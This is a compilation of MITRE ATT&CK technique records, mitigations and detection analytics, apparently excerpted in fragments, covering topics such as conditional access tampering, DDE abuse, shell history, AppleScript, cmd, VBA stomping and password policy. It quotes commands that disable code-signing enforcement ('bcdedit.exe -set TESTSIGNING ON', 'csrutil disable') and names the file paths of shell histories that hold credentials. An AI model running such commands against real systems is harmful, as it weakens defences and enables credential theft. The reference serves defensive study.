anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures. […]\n\n## Reference: ATT&CK T1556.009 Conditional Access Policies\n**ATT&CK T1556.009 Conditional Access Policies (full record).** Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\n\nFor example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication. In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested. These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required.\n\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing Multi-Factor Authentication requirements, or allowing additional Unused/Unsupported Cloud Regions, adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.\n\n**Classification.** - Tactics: defense-impairment, persistence, credential-access\n- Platforms: IaaS, Identity Provider\n- Sub-technique of: T1556 Modify Authentication Process - Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detect Conditional Access Policy Modification in Identity and Cloud Platforms**\n  - Detects modifications to IAM conditions or policies that alter authentication behavior, such as adding permissive trusted IPs, removing MFA requirements, or changing regional access restrictions.

DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by Component Object Model, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via Phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a Command and Scripting Interpreter.

Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\n\nOn Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.\n\nUsers often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out.

By integrating security throughout the software development lifecycle (SDLC), this mitigation aims to prevent the introduction of exploitable weaknesses in applications, systems, and APIs. This mitigation can be implemented through the following measures:\n\nPreventing SQL Injection (Secure Coding Practice):\n\n- Implementation: Train developers to use parameterized queries or prepared statements instead of directly embedding user input into SQL queries.\n- Use Case: A web application accepts user input to search a database. By sanitizing and validating user inputs, developers can prevent attackers from injecting malicious SQL commands.\n\nCross-Site Scripting (XSS) Mitigation:\n\n- Implementation: Require developers to implement output encoding for all user-generated content displayed on a web page.\n- Use Case: An e-commerce site allows users to leave product reviews. Properly encoding and escaping user inputs prevents malicious scripts from being executed in other users’ browsers.\n\nSecure API Design:\n\n- Implementation: Train developers to authenticate all API endpoints and avoid exposing sensitive information in API responses.\n- Use Case: A mobile banking application uses APIs for account management. By enforcing token-based authentication for every API call, developers reduce the risk of unauthorized access.\n\nStatic Code Analysis in the Build Pipeline:\n\n- Implementation: Incorporate tools into CI/CD pipelines to automatically scan for vulnerabilities during the build process.\n- Use Case: A fintech company integrates static analysis tools to detect hardcoded credentials in their source code before deployment.\n\nThreat Modeling in the Design Phase:\n\n- Implementation: Use frameworks like STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) to assess threats during application design.\n- Use Case: Before launching a customer portal, a SaaS company identifies potential abuse cases, such as session hijacking, and designs mitigations like secure session management.\n\n**Tools for Implementation**:\n\n- Static Code Analysis Tools: Use tools that can scan for known vulnerabilities in source code.\n- Dynamic Application Security Testing (DAST): Use tools like Burp Suite or OWASP ZAP to simulate runtime attacks and identify vulnerabilities.\n- Secure Frameworks: Recommend secure-by-default frameworks (e.g., Django for Python, Spring Security for Java) that enforce security best practices.\n\n## Principle\nAgainst T1559.003, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T0831 Manipulation of Control\n**ATT&CK T0831 Manipulation of Control (full record).** Adversaries may manipulate physical process control within the industrial environment.

IPC is typically used by processes to share data, communicate with each other, or synchronize execution.\n\n## Mitigations\n- **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles. By integrating security throughout the software development lifecycle (SDLC), this mitigation aims to prevent the introduction of exploitable weaknesses in applications, systems, and APIs. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detect Abuse of XPC Services (T1559.003)**\n  - Detects anomalous use of macOS XPC services for code execution. Monitors for processes invoking privileged XPC daemons with abnormal parameters, unexpected binaries communicating over NSXPCConnection, or helper tools executing code outside of their expected parent process lineage. Correlates process access attempts to system-level daemons, privilege escalations via XPC misconfigurations, and injection of malicious payloads through inter-process communication.

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Exploit Protection**: Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.\n- **Application Isolation and Sandboxing**: Restrict the execution of code to a virtual environment on or in-transit to an endpoint system.\n- **Update Software**: Perform regular software updates to mitigate exploitation risk.

Depending on the device, the modification or addition of this password could prevent any device configuration actions from being accomplished and may require a factory reset or replacement of hardware. These credentials are often built-in features provided by the device vendors as a means to restrict access to management interfaces.\n\nAn adversary with access to valid or hardcoded credentials could change the credential to prevent future authorized device access. Change Credential may be especially damaging when paired with other techniques such as Modify Program, Data Destruction, or Modify Controller Tasking. In these cases, a device’s configuration may be destroyed or include malicious actions for the process environment, which cannot not be removed through normal device configuration actions.\n\nAdditionally, recovery of the device and original configuration may be difficult depending on the features provided by the device. In some cases, these passwords cannot be removed onsite and may require that the device be sent back to the vendor for additional recovery steps.\n\nA chain of incidents occurred in Germany, where adversaries locked operators out of their building automation system (BAS) controllers by enabling a previously unset BCU key.\n\n**Classification.** - Tactics: inhibit-response-function\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Password Policies**: Set and enforce secure password policies for accounts.\n- **Data Backup**: Take and store data backups from end user systems and critical servers.

Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.\n\nAdversaries may abuse application binaries installed on a system for proxy execution of malicious code or domain-specific commands. These commands could be used to target local resources on the device or networked devices within the environment through defined APIs (Execution through API) or application-specific programming languages (e.g., MicroSCADA SCIL). Application binaries may be signed by the developer or generally trusted by the operators, analysts, and monitoring tools accustomed to the environment. These applications may be developed and/or directly provided by the device vendor to enable configuration, management, and operation of their devices without many alternatives.\n\nAdversaries may seek to target these trusted application binaries to execute or send commands without the development of custom malware. For example, adversaries may target a SCADA server binary which has the existing ability to send commands to substation devices, such as through IEC 104 command messages. Proxy execution may still require the development of custom tools to hook into the application binary’s execution.\n\n**Classification.** - Tactics: evasion\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Execution Prevention**: Block execution of code on a system through application control, and/or script blocking.\n\n**Detection strategies and analytics.** - **Detection of System Binary Proxy Execution**\n  - Real-time monitoring identifies a trusted, signed Windows system binary executing with command-line arguments inconsistent with its documented administrative purpose -- specifically arguments indicating payload decoding, remote content execution, or script invocation -- on an Industrial Control System (ICS) host.

Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service `C API` or the high level `NSXPCConnection API` in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.\n\nAdversaries can abuse XPC services to execute malicious content.

A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: `File.txt.exe` may render in some views as just `File.txt`). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.\n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named `Evil.txt.exe` may display as `Evil.txt` to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.\n\nCommon file types, such as text files (.txt,.doc, etc.) and image files (.jpg,.gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as.exe,.lnk,.hta, and.scr, often appear as the second extension and true file type.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

By segmenting networks, organizations can reduce the attack surface, restrict lateral movement by adversaries, and protect critical assets from compromise.\n\nEffective network segmentation leverages a combination of physical boundaries, logical separation through VLANs, and access control policies enforced by network appliances like firewalls, routers, and cloud-based configurations. This mitigation can be implemented through the following measures:\n\nSegment Critical Systems:\n\n- Identify and group systems based on their function, sensitivity, and risk. Examples include payment systems, HR databases, production systems, and internet-facing servers.\n- Use VLANs, firewalls, or routers to enforce logical separation.\n\nImplement DMZ for Public-Facing Services:\n\n- Host web servers, DNS servers, and email servers in a DMZ to limit their access to internal systems.\n- Apply strict firewall rules to filter traffic between the DMZ and internal networks.\n\nUse Cloud-Based Segmentation:\n\n- In cloud environments, use VPCs, subnets, and security groups to isolate applications and enforce traffic rules.\n- Apply AWS Transit Gateway or Azure VNet peering for controlled connectivity between cloud segments.\n\nApply Microsegmentation for Workloads:\n\n- Use software-defined networking (SDN) tools to implement workload-level segmentation and prevent lateral movement.\n\nRestrict Traffic with ACLs and Firewalls:\n\n- Apply Access Control Lists (ACLs) to network devices to enforce \"deny by default\" policies.\n- Use firewalls to restrict both north-south (external-internal) and east-west (internal-internal) traffic.\n\nMonitor and Audit Segmented Networks:\n\n- Regularly review firewall rules, ACLs, and segmentation policies.\n- Monitor network flows for anomalies to ensure segmentation is effective.\n\nTest Segmentation Effectiveness:\n\n- Perform periodic penetration tests to verify that unauthorized access is blocked between network segments.\n\n## Disable or Remove Feature or Program\nDisable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\nRemove Legacy Software:\n\n- Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).\n- Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.\n\nDisable Unused Features:\n\n- Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.\n- Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.\n\nControl Applications Installed by Users:\n\n- Use Case: Prevent users from installing unauthorized software via group policies or other management tools.\n- Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.\n\nRemove Unnecessary Services:\n\n- Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.\n- Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.\n\nRestrict Add-ons and Plugins:\n\n- Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.\n- Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.\n\n## Password Policies\nSet and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:\n\nWindows Systems:\n\n- Use Group Policy Management Console (GPMC) to configure:\n- Minimum password length (e.g., 12+ characters).\n- Password complexity requirements.\n- Password history (e.g., disallow last 24 passwords).\n- Account lockout duration and thresholds.\n\nLinux Systems:\n\n- Configure Pluggable Authentication Modules (PAM):\n- Use `pam_pwquality` to enforce complexity and length requirements.\n- Implement `pam_tally2` or `pam_faillock` for account lockouts.\n- Use `pwunconv` to disable password reuse.\n\nPassword Managers:\n\n- Enforce usage of enterprise password managers (e.g., Bitwarden, 1Password, LastPass) to generate and store strong passwords.\n\nPassword Blacklisting:\n\n- Use tools like Have I Been Pwned password checks or NIST-based blacklist solutions to prevent users from setting compromised passwords.\n\nRegular Auditing:\n\n- Periodically audit password policies and account configurations to ensure compliance using tools like LAPS (Local Admin Password Solution) and vulnerability scanners.\n\n*Tools for Implementation*\n\nWindows:\n\n- Group Policy Management Console (GPMC): Enforce password policies.\n- Microsoft Local Administrator Password Solution (LAPS): Enforce random, unique admin passwords.\n\nLinux/macOS:\n\n- PAM Modules (pam_pwquality, pam_tally2, pam_faillock): Enforce password rules.\n- Lynis: Audit password policies and system configurations.\n\nCross-Platform:\n\n- Password Managers (Bitwarden, 1Password, KeePass): Manage and enforce strong passwords.\n- Have I Been Pwned API: Prevent the use of breached passwords.\n- NIST SP 800-63B compliant tools: Enforce password guidelines and blacklisting.\n\n## User Account Management\nUser Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\nEnforcing the Principle of Least Privilege\n\n- Implementation: Assign users only the minimum permissions required to perform their job functions. Regularly audit accounts to ensure no excess permissions are granted.\n- Use Case: Reduces the risk of privilege escalation by ensuring accounts cannot perform unauthorized actions.\n\nImplementing Strong Password Policies\n\n- Implementation: Enforce password complexity requirements (e.g., length, character types). Require password expiration every 90 days and disallow password reuse.\n- Use Case: Prevents adversaries from gaining unauthorized access through password guessing or brute force attacks.\n\nManaging Dormant and Orphaned Accounts\n\n- Implementation: Implement automated workflows to disable accounts after a set period of inactivity (e.g., 30 days). Remove orphaned accounts (e.g., accounts without an assigned owner) during regular account audits.\n- Use Case: Eliminates dormant accounts that could be exploited by attackers.\n\nAccount Lockout Policies\n\n- Implementation: Configure account lockout thresholds (e.g., lock accounts after five failed login attempts). Set lockout durations to a minimum of 15 minutes.\n- Use Case: Mitigates automated attack techniques that rely on repeated login attempts.\n\nMulti-Factor Authentication (MFA) for High-Risk Accounts\n\n- Implementation: Require MFA for all administrative accounts and high-risk users.

This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection of Remote Service Session Hijacking**\n  - Detection of anomalous RDP or remote service session activity where a logon session is hijacked rather than newly created. Indicators include mismatched user credentials vs. active session tokens, service session takeovers without corresponding successful logon events, or RDP shadowing activity without user consent. (telemetry: WinEventLog:Security:EventCode=4624, 4648, WinEventLog:Sysmon:EventCode=1, WinEventLog:Sysmon:EventCode=3, 22)\n  - Detection of SSH/Telnet session hijacking via discrepancies between authentication logs and active session tables. Adversary behavior includes reusing or stealing active PTY sessions, attaching to screen/tmux, or issuing commands without corresponding login events. (telemetry: auditd:SYSCALL:execve: Commands executed within an SSH session where no matching logon/authentication event exists, NSM:Connections:Mismatch between recorded user logon and active sessions (e.g., wtmp/utmp entries without corresponding authentication in auth.log), NSM:Flow:Long-lived or hijacked SSH sessions maintained with no active user activity)\n  - Detection of hijacked VNC or SSH sessions on macOS where adversaries take over an existing session rather than authenticating directly. Indicators include process execution from active sessions without new logon events, manipulation of TTY sessions, or anomalous network activity tied to dormant sessions. (telemetry: macos:unifiedlog:Authentication inconsistencies where commands are executed without corresponding login events, macos:unifiedlog:Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage), NSM:Flow:Suspicious long-lived or reattached remote desktop sessions from unexpected IPs)\n\n## Reference: ATT&CK T1059.002 AppleScript\n**ATT&CK T1059.002 AppleScript (full record).** Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents. These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via `osascript /path/to/script` or `osascript -e \"script here\"`. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding `#!/usr/bin/osascript` to the start of the script file.\n\nAppleScripts do not need to call `osascript` to execute. However, they may be executed from within mach-O binaries by using the macOS Native APIs `NSAppleScript` or `OSAScript`, both of which execute code independent of the `/usr/bin/osascript` command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute Native APIs, which otherwise would require compilation and execution in a mach-O binary file format. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via Python.\n\n**Classification.** - Tactics: execution\n- Platforms: macOS\n- Sub-technique of: T1059 Command and Scripting Interpreter - Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.

The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH.\n\nBatch files (ex:.bat or.cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.\n\n**Classification.** - Tactics: execution\n- Platforms: Windows\n- Sub-technique of: T1059 Command and Scripting Interpreter - Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Behavioral Detection of Windows Command Shell Execution**\n  - Detects interactive or scripted abuse of cmd.exe, batch files, or shell invocation chains. Focuses on parent-child relationships (e.g., cmd.exe launched from unusual parents), anomalous command-line parameters, and chaining with discovery, credential access, or lateral movement behaviors. […]\n\n## Reference: ATT&CK T1059.005 Visual Basic\n**ATT&CK T1059.005 Visual Basic (full record).** Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the.NET Framework and cross-platform.NET Core.\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications. VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into Spearphishing Attachment payloads (which may also involve Mark-of-the-Web Bypass to enable execution).\n\n**Classification.** - Tactics: execution\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1059 Command and Scripting Interpreter - Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.

This could happen due to the complexity of the system, the integration of critical processes, or the potential for introducing new vulnerabilities. Instead of direct mitigation, these situations may call for alternative strategies such as detection, monitoring, or response. The Do Not Mitigate category underscores the importance of assessing the trade-offs between mitigation efforts and overall system integrity. This mitigation can be implemented through the following measures:\n\nComplex Systems Where Mitigation is Risky:\n\n- Interpretation: In certain systems, direct mitigation could introduce new risks, especially if the system is highly interconnected or complex, such as in legacy industrial control systems (ICS). Patching or modifying these systems could result in unplanned downtime, disruptions, or even safety risks.\n- Use Case: In a power grid control system, attempting to patch or disable certain services related to device communications might disrupt critical operations, leading to unintended service outages.\n\nRisk of Reducing Security Coverage:\n\n- Interpretation: In some cases, mitigating a technique might reduce the visibility or effectiveness of other security controls, limiting an organization’s ability to detect broader attacks.\n- Use Case: Disabling script execution on a web server to mitigate potential PowerShell-based attacks could interfere with legitimate administrative operations that rely on scripting, while attackers may still find alternate ways to execute code.\n\nIntroduction of New Vulnerabilities:\n\n- Interpretation: In highly sensitive or tightly controlled environments, implementing certain mitigations might create vulnerabilities in other parts of the system. For instance, disabling default security mechanisms in an attempt to resolve compatibility issues may open the system to exploitation.\n- Use Case: Disabling certificate validation to resolve internal communication issues in a secure environment could lead to man-in-the-middle attacks, creating a greater vulnerability than the original problem.\n\nNegative Impact on Performance and Availability:\n\n- Interpretation: Mitigations that involve removing or restricting system functionalities can have unintended consequences for system performance and availability. Some mitigations, while effective at blocking certain attacks, may introduce performance bottlenecks or compromise essential operations.

This includes protecting data formats indicative of Personally Identifiable Information (PII), intellectual property, or financial data from unauthorized access, transmission, or exfiltration. DLP solutions integrate with network, endpoint, and cloud platforms to enforce security policies and prevent accidental or malicious data leaks. This mitigation can be implemented through the following measures:\n\nSensitive Data Categorization:\n\n- Use Case: Identify and classify data based on sensitivity (e.g., PII, financial data, trade secrets).\n- Implementation: Use DLP solutions to scan and tag files containing sensitive information using predefined patterns, such as Social Security Numbers or credit card details.\n\nExfiltration Restrictions:\n\n- Use Case: Prevent unauthorized transmission of sensitive data.\n- Implementation: Enforce policies to block unapproved email attachments, unauthorized USB usage, or unencrypted data uploads to cloud storage.\n\nData-in-Transit Monitoring:\n\n- Use Case: Detect and prevent the transmission of sensitive data over unapproved channels.\n- Implementation: Deploy network-based DLP tools to inspect outbound traffic for sensitive content (e.g., financial records or PII) and block unapproved transmissions.\n\nEndpoint Data Protection:\n\n- Use Case: Monitor and control sensitive data usage on endpoints.\n- Implementation: Use endpoint-based DLP agents to block copy-paste actions of sensitive data and unauthorized printing or file sharing.\n\nCloud Data Security:\n\n- Use Case: Protect data stored in cloud platforms.\n- Implementation: Integrate DLP with cloud storage platforms like Google Drive, OneDrive, or AWS to monitor and restrict sensitive data sharing or downloads.

Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.\n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS. Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, Modify Registry, rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory. Examples of commands that can modify the code signing policy of a system include `bcdedit.exe -set TESTSIGNING ON` on Windows and `csrutil disable` on macOS. Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode).

The p-code is executed when the MS Office version specified in the `_VBA_PROJECT` stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present.

These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.\n\nPrior to Android 7, device administrators were able to reset the device lock passcode to prevent the user from unlocking the device. The release of Android 7 introduced updates that only allow device or profile owners (e.g. MDMs) to reset the device’s passcode.\n\n**Classification.** - Tactics: defense-evasion\n- Platforms: Android\n- Sub-technique of: T1629 Impair Defenses - Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.\n\n**Mitigations.** - **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n\nAuditing is applicable to all systems used within an organization, from the front door of a building to accessing a file on a fileserver. It is considered more critical for regulated industries such as, healthcare, finance and government where compliance requirements demand stringent tracking of user and system activates.This mitigation can be implemented through the following measures:\n\nSystem Audit:\n\n- Use Case: Regularly assess system configurations to ensure compliance with organizational security policies.\n- Implementation: Use tools to scan for deviations from established benchmarks.\n\nPermission Audits:\n\n- Use Case: Review file and folder permissions to minimize the risk of unauthorized access or privilege escalation.\n- Implementation: Run access reviews to identify users or groups with excessive permissions.\n\nSoftware Audits:\n\n- Use Case: Identify outdated, unsupported, or insecure software that could serve as an attack vector.\n- Implementation: Use inventory and vulnerability scanning tools to detect outdated versions and recommend secure alternatives.\n\nConfiguration Audits:\n\n- Use Case: Evaluate system and network configurations to ensure secure settings (e.g., disabled SMBv1, enabled MFA).\n- Implementation: Implement automated configuration scanning tools like SCAP (Security Content Automation Protocol) to identify non-compliant systems.\n\nNetwork Audits:\n\n- Use Case: Examine network traffic, firewall rules, and endpoint communications to identify unauthorized or insecure connections.\n- Implementation: Utilize tools such as Wireshark, or Zeek to monitor and log suspicious network behavior.\n\n## Network Intrusion Prevention\nUse intrusion detection signatures to block traffic at network boundaries.\n\n## Software Configuration\nSoftware configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\nConduct a Security Review of Application Settings:\n\n- Review the software documentation to identify recommended security configurations.\n- Compare default settings against organizational policies and compliance requirements.\n\nImplement Access Controls and Permissions:\n\n- Restrict access to sensitive features or data within the software.\n- Enforce least privilege principles for all roles and accounts interacting with the software.\n\nEnable Logging and Monitoring:\n\n- Configure detailed logging for key application events such as authentication failures, configuration changes, or unusual activity.\n- Integrate logs with a centralized monitoring solution, such as a SIEM.\n\nUpdate and Patch Software Regularly:\n\n- Ensure the software is kept up-to-date with the latest security patches to address known vulnerabilities.\n- Use automated patch management tools to streamline the update process.\n\nDisable Unnecessary Features or Services:\n\n- Turn off unused functionality or components that could introduce vulnerabilities, such as debugging interfaces or deprecated APIs.\n\nTest Configuration Changes:\n\n- Perform configuration changes in a staging environment before applying them in production.\n- Conduct regular audits to ensure that settings remain aligned with security policies.\n\n*Tools for Implementation*\n\nConfiguration Management Tools:\n\n- Ansible: Automates configuration changes across multiple applications and environments.\n- Chef: Ensures consistent application settings through code-based configuration management.\n- Puppet: Automates software configurations and audits changes for compliance.\n\nSecurity Benchmarking Tools:\n\n- CIS-CAT: Provides benchmarks and audits for secure software configurations.\n- Aqua Security Trivy: Scans containerized applications for configuration issues.\n\nVulnerability Management Solutions:\n\n- Nessus: Identifies misconfigurations and suggests corrective actions.\n\nLogging and Monitoring Tools:\n\n- Splunk: Aggregates and analyzes application logs to detect suspicious activity.\n\n## Restrict Web-Based Content\nRestricting web-based content involves enforcing policies and technologies that limit access to potentially malicious websites, unsafe downloads, and unauthorized browser behaviors. This can include URL filtering, download restrictions, script blocking, and extension control to protect against exploitation, phishing, and malware delivery. This mitigation can be implemented through the following measures:\n\nDeploy Web Proxy Filtering:\n\n- Use solutions to filter web traffic based on categories, reputation, and content types.\n- Enforce policies that block unsafe websites or file types at the gateway level.\n\nEnable DNS-Based Filtering:\n\n- Implement tools to restrict access to domains associated with malware or phishing campaigns.\n- Use public DNS filtering services to enhance protection.\n\nEnforce Content Security Policies (CSP):\n\n- Configure CSP headers on internal and external web applications to restrict script execution, iframe embedding, and cross-origin requests.\n\nControl Browser Features:\n\n- Disable unapproved browser features like automatic downloads, developer tools, or unsafe scripting.\n- Enforce policies through tools like Group Policy Management to control browser settings.\n\nMonitor and Alert on Web-Based Threats:\n\n- Use SIEM tools to collect and analyze web proxy logs for signs of anomalous or malicious activity.\n- Configure alerts for access attempts to blocked domains or repeated file download failures.\n\n## Antivirus/Antimalware\nAntivirus/Antimalware solutions 